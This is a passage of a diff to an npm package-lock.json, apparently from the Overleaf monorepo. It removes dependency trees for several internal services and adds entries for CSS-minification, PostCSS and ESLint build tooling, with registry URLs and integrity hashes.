+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
+- },
+- "yallist": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI="
+- }
+- }
+- },
+- "@overleaf/thirdparty-references": {
+- "version": "file:services/third-party-references",
+- "requires": {
+- "@overleaf/access-token-encryptor": "^2.2.0",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "express": "^4.17.1",
+- "lodash": "^4.17.21",
+- "lru-cache": "^5.1.1",
+- "mocha": "^8.4.0",
+- "mongodb": "^3.6.0",
+- "oauth": "0.9.15",
+- "request": "^2.88.2",
+- "sandboxed-module": "2.0.4",
+- "simple-oauth2": "^0.6.0",
+- "sinon": "9.0.2",
+- "sinon-chai": "^3.7.0"
+- },
+- "dependencies": {
+- "diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true
++ "cssnano": "^5.0.6",
++ "jest-worker": "^27.0.2",
++ "postcss": "^8.3.5",
++ "schema-utils": "^4.0.0",
++ "serialize-javascript": "^6.0.0",
++ "source-map": "^0.6.1"
++ },
++ "dependencies": {
++ "ajv": {
++ "version": "8.11.0",
++ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
++ "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
++ "dev": true,
++ "requires": {
++ "fast-deep-equal": "^3.1.1",
++ "json-schema-traverse": "^1.0.0",
++ "require-from-string": "^2.0.2",
++ "uri-js": "^4.2.2"
++ }
++ },
++ "ajv-keywords": {
++ "version": "5.1.0",
++ "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
++ "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
++ "dev": true,
++ "requires": {
++ "fast-deep-equal": "^3.1.3"
++ }
++ },
++ "schema-utils": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
++ "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
++ "dev": true,
++ "requires": {
++ "@types/json-schema": "^7.0.9",
++ "ajv": "^8.8.0",
++ "ajv-formats": "^2.1.1",
++ "ajv-keywords": "^5.0.0"
++ }
++ }
++ }
+ },
+- "sinon": {
+- "version": "9.0.2",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.2.tgz",
+- "integrity": "sha512-0uF8Q/QHkizNUmbK3LRFqx5cpTttEVXudywY9Uwzy8bTfZUhljZ7ARzSxnRHWYWtVTeh4Cw+tTb3iU21FQVO9A==",
++ "css-tree": {
++ "version": "1.1.3",
++ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
++ "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+ "dev": true,
+ "requires": {
+- "@sinonjs/commons": "^1.7.2",
+- "@sinonjs/fake-timers": "^6.0.1",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.0.3",
+- "diff": "^4.0.2",
+- "nise": "^4.0.1",
+- "supports-color": "^7.1.0"
++ "mdn-data": "2.0.14",
++ "source-map": "^0.6.1"
+ }
+ },
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
++ "cssnano": {
++ "version": "5.1.7",
++ "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.7.tgz",
++ "integrity": "sha512-pVsUV6LcTXif7lvKKW9ZrmX+rGRzxkEdJuVJcp5ftUjWITgwam5LMZOgaTvUrWPkcORBey6he7JKb4XAJvrpKg==",
+ "dev": true,
+ "requires": {
+- "has-flag": "^4.0.0"
++ "cssnano-preset-default": "^5.2.7",
++ "lilconfig": "^2.0.3",
++ "yaml": "^1.10.2"
+ }
+- }
+- }
+- },
+- "@overleaf/tpdsworker": {
+- "version": "file:services/tpdsworker",
+- "requires": {
+- "@overleaf/logger": "^3.0.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "bluebird": "^3.7.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.15",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "chai-http": "^4.3.0",
+- "dtrace-provider": "^0.8.8",
+- "express": "^4.17.1",
+- "express-basic-auth": "^1.2.0",
+- "ioredis": "^4.16.0",
+- "lodash": "^4.17.15",
+- "mocha": "^8.4.0",
+- "node-fetch": "^2.6.7",
+- "redlock": "^4.1.0",
+- "request": "^2.88.2"
+- }
+- },
+- "@overleaf/track-changes": {
+- "version": "file:services/track-changes",
+- "requires": {
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/redis-wrapper": "^2.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "async": "^3.2.2",
+- "aws-sdk": "^2.643.0",
+- "body-parser": "^1.19.0",
+- "bson": "^1.1.5",
+- "bunyan": "^1.8.15",
+- "byline": "^5.0.0",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "cli": "^1.0.1",
+- "express": "4.17.1",
+- "heap": "^0.2.6",
+- "JSONStream": "^1.3.5",
+- "line-reader": "^0.4.0",
+- "lodash": "^4.17.21",
+- "memorystream": "0.3.1",
+- "mocha": "^8.4.0",
+- "mongo-uri": "^0.1.2",
+- "mongodb": "^3.6.0",
+- "redis": "~0.10.1",
+- "request": "~2.88.2",
+- "requestretry": "^4.1.0",
+- "s3-streams": "^0.4.0",
+- "sandboxed-module": "~2.0.3",
+- "sinon": "~9.0.1",
+- "timekeeper": "2.2.0",
+- "underscore": "~1.13.1",
+- "yazl": "^2.5.1"
+- },
+- "dependencies": {
+- "body-parser": {
+- "version": "1.19.0",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz",
+- "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==",
++ },
++ "cssnano-preset-default": {
++ "version": "5.2.7",
++ "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.7.tgz",
++ "integrity": "sha512-JiKP38ymZQK+zVKevphPzNSGHSlTI+AOwlasoSRtSVMUU285O7/6uZyd5NbW92ZHp41m0sSHe6JoZosakj63uA==",
++ "dev": true,
+ "requires": {
+- "bytes": "3.1.0",
+- "content-type": "~1.0.4",
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "on-finished": "~2.3.0",
+- "qs": "6.7.0",
+- "raw-body": "2.4.0",
+- "type-is": "~1.6.17"
++ "css-declaration-sorter": "^6.2.2",
++ "cssnano-utils": "^3.1.0",
++ "postcss-calc": "^8.2.3",
++ "postcss-colormin": "^5.3.0",
++ "postcss-convert-values": "^5.1.0",
++ "postcss-discard-comments": "^5.1.1",
++ "postcss-discard-duplicates": "^5.1.0",
++ "postcss-discard-empty": "^5.1.1",
++ "postcss-discard-overridden": "^5.1.0",
++ "postcss-merge-longhand": "^5.1.4",
++ "postcss-merge-rules": "^5.1.1",
++ "postcss-minify-font-values": "^5.1.0",
++ "postcss-minify-gradients": "^5.1.1",
++ "postcss-minify-params": "^5.1.2",
++ "postcss-minify-selectors": "^5.2.0",
++ "postcss-normalize-charset": "^5.1.0",
++ "postcss-normalize-display-values": "^5.1.0",
++ "postcss-normalize-positions": "^5.1.0",
++ "postcss-normalize-repeat-style": "^5.1.0",
++ "postcss-normalize-string": "^5.1.0",
++ "postcss-normalize-timing-functions": "^5.1.0",
++ "postcss-normalize-unicode": "^5.1.0",
++ "postcss-normalize-url": "^5.1.0",
++ "postcss-normalize-whitespace": "^5.1.1",
++ "postcss-ordered-values": "^5.1.1",
++ "postcss-reduce-initial": "^5.1.0",
++ "postcss-reduce-transforms": "^5.1.0",
++ "postcss-svgo": "^5.1.0",
++ "postcss-unique-selectors": "^5.1.1"
+ }
+ },
+- "byline": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz",
+- "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE="
+- },
+- "bytes": {
++ "cssnano-utils": {
+ "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz",
+- "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg=="
++ "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
++ "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
++ "dev": true,
++ "requires": {}
+ },
+- "content-disposition": {
+- "version": "0.5.3",
+- "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz",
+- "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==",
+- "requires": {
+- "safe-buffer": "5.1.2"
+- }
++ "diff": {
++ "version": "3.5.0",
++ "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
++ "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
++ "dev": true
+ },
+- "cookie": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
+- "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg=="
++ "emoji-regex": {
++ "version": "9.2.2",
++ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
++ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
++ "dev": true
+ },
+- "cookie-signature": {
+- "version": "1.0.6",
+- "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+- "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
++ "eslint-config-standard-jsx": {
++ "version": "11.0.0-0",
++ "resolved": "https://registry.npmjs.org/eslint-config-standard-jsx/-/eslint-config-standard-jsx-11.0.0-0.tgz",
++ "integrity": "sha512-KF2HkJoiMH7j9QCLC2OFgE+xfWRXnVpTZzombqdRtOkp6DBGLfGvvonl7AzEbWIxgjOiHkuw+lmYPz5cN2+kJA==",
++ "dev": true,
++ "requires": {}
+ },
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
++ "eslint-plugin-jsx-a11y": {
++ "version": "6.5.1",
++ "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.5.1.tgz",
++ "integrity": "sha512-sVCFKX9fllURnXT2JwLN5Qgo24Ug5NF6dxhkmxsMEUZhXRcGg+X3e1JbJ84YePQKBl5E0ZjAH5Q4rkdcGY99+g==",
++ "dev": true,
+ "requires": {
+- "ms": "2.0.0"
++ "@babel/runtime": "^7.16.3",
++ "aria-query": "^4.2.2",
++ "array-includes": "^3.1.4",
++ "ast-types-flow": "^0.0.7",
++ "axe-core": "^4.3.5",
++ "axobject-query": "^2.2.0",
++ "damerau-levenshtein": "^1.0.7",
++ "emoji-regex": "^9.2.2",
++ "has": "^1.0.3",
++ "jsx-ast-utils": "^3.2.1",
++ "language-tags": "^1.0.5",
++ "minimatch": "^3.0.4"
+ }
+ },
+- "diff": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
+- "dev": true
++ "eslint-plugin-react": {
++ "version": "7.28.0",
++ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.28.0.tgz",
++ "integrity": "sha512-IOlFIRHzWfEQQKcAD4iyYDndHwTQiCMcJVJjxempf203jnNLUnW34AXLrV33+nEXoifJE2ZEGmcjKPL8957eSw==",
++ "dev": true,
++ "requires": {
++ "array-includes": "^3.1.4",
++ "array.prototype.flatmap": "^1.2.5",
++ "doctrine": "^2.1.0",
++ "estraverse": "^5.3.0",
++ "jsx-ast-utils": "^2.4.1 || ^3.0.0",
++ "minimatch": "^3.0.4",
++ "object.entries": "^1.1.5",
++ "object.fromentries": "^2.0.5",
++ "object.hasown": "^1.1.0",
++ "object.values": "^1.1.5",
++ "prop-types": "^15.7.2",
++ "resolve": "^2.0.0-next.3",
++ "semver": "^6.3.0",
++ "string.prototype.matchall": "^4.0.6"
++ },
++ "dependencies": {
++ "doctrine": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
++ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
++ "dev": true,
++ "requires": {
++ "esutils": "^2.0.2"
++ }
++ }
++ }
++ },
++ "eslint-plugin-react-hooks": {
++ "version": "4.3.0",
++ "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.3.0.tgz",
++ "integrity": "sha512-XslZy0LnMn+84NEG9jSGR6eGqaZB3133L8xewQo3fQagbQuGt7a63gf+P1NGKZavEYEC3UXaWEAA/AqDkuN6xA==",
++ "dev": true,
++ "requires": {}
++ },
++ "events": {
++ "version": "3.3.0",
++ "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
++ "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q=="
++ },
++ "expose-loader": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/expose-loader/-/expose-loader-3.1.0.tgz",
++ "integrity": "sha512-2RExSo0yJiqP+xiUue13jQa2IHE8kLDzTI7b6kn+vUlBVvlzNSiLDzo4e5Pp5J039usvTUnxZ8sUOhv0Kg15NA==",
++ "dev": true,
++ "requires": {}
+ },
+ "express": {
+ "version": "4.17.1",
+@@ -42517,6 +34883,56 @@
+ "type-is": "~1.6.18",
+ "utils-merge": "1.0.1",
+ "vary": "~1.1.2"
++ },
++ "dependencies": {
++ "cookie": {
++ "version": "0.4.0",
++ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz",
++ "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg=="
++ },
++ "debug": {
++ "version": "2.6.9",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
++ "requires": {
++ "ms": "2.0.0"
++ }
++ },
++ "ms": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ }
++ }
++ },
++ "form-data": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
++ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
++ "dev": true,
++ "requires": {
++ "asynckit": "^0.4.0",
++ "combined-stream": "^1.0.8",
++ "mime-types": "^2.1.12"
++ }
++ },
++ "fs-extra": {
++ "version": "4.0.3",
++ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz",
++ "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==",
++ "requires": {
++ "graceful-fs": "^4.1.2",
++ "jsonfile": "^4.0.0",
++ "universalify": "^0.1.0"
++ }
++ },
++ "glob-parent": {
++ "version": "6.0.2",
++ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
++ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
++ "dev": true,
++ "requires": {
++ "is-glob": "^4.0.3"
+ }
+ },
+ "http-errors": {
+@@ -42531,460 +34947,94 @@
+ "toidentifier": "1.0.0"
+ }
+ },
++ "icss-utils": {
++ "version": "5.1.0",
++ "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz",
++ "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==",
++ "dev": true,
++ "requires": {}
++ },
+ "inherits": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+ },
+- "line-reader": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.4.0.tgz",
+- "integrity": "sha1-F+RIGNoKwzVnW6MAlU+U72cOZv0="
+- },
+- "mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
++ "isarray": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+ },
+- "qs": {
+- "version": "6.7.0",
+- "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz",
+- "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ=="
++ "json-schema-traverse": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
++ "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
++ "dev": true
+ },
+- "raw-body": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz",
+- "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==",
++ "jsonfile": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
++ "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
+ "requires": {
+- "bytes": "3.1.0",
+- "http-errors": "1.7.2",
+- "iconv-lite": "0.4.24",
+- "unpipe": "1.0.0"
++ "graceful-fs": "^4.1.6"
+ }
+ },
+- "send": {
+- "version": "0.17.1",
+- "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
+- "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==",
++ "karma-webpack": {
++ "version": "5.0.0",
++ "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-5.0.0.tgz",
++ "integrity": "sha512-+54i/cd3/piZuP3dr54+NcFeKOPnys5QeM1IY+0SPASwrtHsliXUiCL50iW+K9WWA7RvamC4macvvQ86l3KtaA==",
++ "dev": true,
+ "requires": {
+- "debug": "2.6.9",
+- "depd": "~1.1.2",
+- "destroy": "~1.0.4",
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "etag": "~1.8.1",
+- "fresh": "0.5.2",
+- "http-errors": "~1.7.2",
+- "mime": "1.6.0",
+- "ms": "2.1.1",
+- "on-finished": "~2.3.0",
+- "range-parser": "~1.2.1",
+- "statuses": "~1.5.0"
++ "glob": "^7.1.3",
++ "minimatch": "^3.0.4",
++ "webpack-merge": "^4.1.5"
+ },
+ "dependencies": {
+- "ms": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
+- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
++ "webpack-merge": {
++ "version": "4.2.2",
++ "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-4.2.2.tgz",
++ "integrity": "sha512-TUE1UGoTX2Cd42j3krGYqObZbOD+xF7u28WB7tfUordytSjbWTIjK/8V0amkBfTYN4/pB/GIDlJZZ657BGG19g==",
++ "dev": true,
++ "requires": {
++ "lodash": "^4.17.15"
++ }
+ }
+ }
+ },
+- "serve-static": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz",
+- "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==",
+- "requires": {
+- "encodeurl": "~1.0.2",
+- "escape-html": "~1.0.3",
+- "parseurl": "~1.3.3",
+- "send": "0.17.1"
+- }
+- },
+- "setprototypeof": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
+- "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw=="
+- },
+- "sinon": {
+- "version": "9.0.3",
+- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.3.tgz",
+- "integrity": "sha512-IKo9MIM111+smz9JGwLmw5U1075n1YXeAq8YeSFlndCLhAL5KGn6bLgu7b/4AYHTV/LcEMcRm2wU2YiL55/6Pg==",
++ "less-loader": {
++ "version": "10.2.0",
++ "resolved": "https://registry.npmjs.org/less-loader/-/less-loader-10.2.0.tgz",
++ "integrity": "sha512-AV5KHWvCezW27GT90WATaDnfXBv99llDbtaj4bshq6DvAihMdNjaPDcUMa6EXKLRF+P2opFenJp89BXg91XLYg==",
+ "dev": true,
+ "requires": {
+- "@sinonjs/commons": "^1.7.2",
+- "@sinonjs/fake-timers": "^6.0.1",
+- "@sinonjs/formatio": "^5.0.1",
+- "@sinonjs/samsam": "^5.1.0",
+- "diff": "^4.0.2",
+- "nise": "^4.0.4",
+- "supports-color": "^7.1.0"
++ "klona": "^2.0.4"
+ }
+ },
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+- "dev": true,
+- "requires": {
+- "has-flag": "^4.0.0"
+- }
+- },
+- "toidentifier": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
+- "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw=="
+- }
+- }
+- },
+- "@overleaf/web": {
+- "version": "file:services/web",
+- "requires": {
+- "@babel/cli": "^7.14.5",
+- "@babel/core": "^7.14.5",
+- "@babel/preset-env": "^7.14.5",
+- "@babel/preset-react": "^7.14.5",
+- "@babel/preset-typescript": "^7.16.0",
+- "@babel/register": "^7.14.5",
+- "@codemirror/autocomplete": "^6.3.0",
+- "@codemirror/commands": "^6.1.0",
+- "@codemirror/lang-markdown": "^6.0.1",
+- "@codemirror/language": "^6.2.1",
+- "@codemirror/lint": "^6.0.0",
+- "@codemirror/search": "^6.2.1",
+- "@codemirror/state": "^6.1.2",
+- "@codemirror/view": "^6.3.0",
+- "@cypress/react": "^6.0.0",
+- "@juggle/resize-observer": "^3.3.1",
+- "@lezer/common": "^1.0.1",
+- "@lezer/generator": "^1.1.1",
+- "@lezer/highlight": "^1.1.0",
+- "@lezer/lr": "^1.2.3",
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/object-persistor": "^1.0.1",
+- "@overleaf/ranges-tracker": "*",
+- "@overleaf/redis-wrapper": "^2.0.0",
+- "@overleaf/settings": "^3.0.0",
+- "@pmmmwh/react-refresh-webpack-plugin": "^0.5.7",
+- "@pollyjs/adapter-node-http": "^4.2.1",
+- "@pollyjs/core": "^4.2.1",
+- "@pollyjs/persister-fs": "^4.2.1",
+- "@reach/tabs": "^0.15.0",
+- "@replit/codemirror-emacs": "overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2",
+- "@replit/codemirror-vim": "overleaf/codemirror-vim#76b21cf77b6c36755cc2be3b41dd17d4c847cc57",
+- "@sentry/browser": "^7.8.1",
+- "@testing-library/cypress": "^8.0.3",
+- "@testing-library/dom": "^8.13.0",
+- "@testing-library/react": "^12.1.5",
+- "@testing-library/react-hooks": "^8.0.0",
+- "@testing-library/user-event": "^14.2.0",
+- "@types/chai": "^4.3.0",
+- "@types/events": "^3.0.0",
+- "@types/express": "^4.17.13",
+- "@types/mocha": "^9.1.0",
+- "@types/react": "^17.0.40",
+- "@types/react-bootstrap": "^0.32.29",
+- "@types/react-dom": "^17.0.13",
+- "@types/sinon-chai": "^3.2.8",
+- "@types/uuid": "^8.3.4",
+- "@typescript-eslint/eslint-plugin": "^5.12.1",
+- "@typescript-eslint/parser": "^5.3.1",
+- "@uppy/core": "^1.15.0",
+- "@uppy/dashboard": "^1.11.0",
+- "@uppy/react": "^1.11.0",
+- "@uppy/utils": "^4.0.7",
+- "@uppy/xhr-upload": "^1.6.8",
+- "abort-controller": "^3.0.0",
+- "accepts": "^1.3.7",
+- "ace-builds": "https://github.com/overleaf/ace-builds/archive/v1.4.12-69aace50e6796d42116f8f96e19d2468d8a88af9.tar.gz",
+- "acorn": "^7.1.1",
+- "acorn-walk": "^7.1.1",
+- "algoliasearch": "^3.35.1",
+- "angular": "~1.8.0",
+- "angular-mocks": "~1.8.0",
+- "angular-sanitize": "~1.8.0",
+- "archiver": "^5.3.0",
+- "async": "3.2.2",
+- "autoprefixer": "^9.7.6",
+- "babel-loader": "^8.2.4",
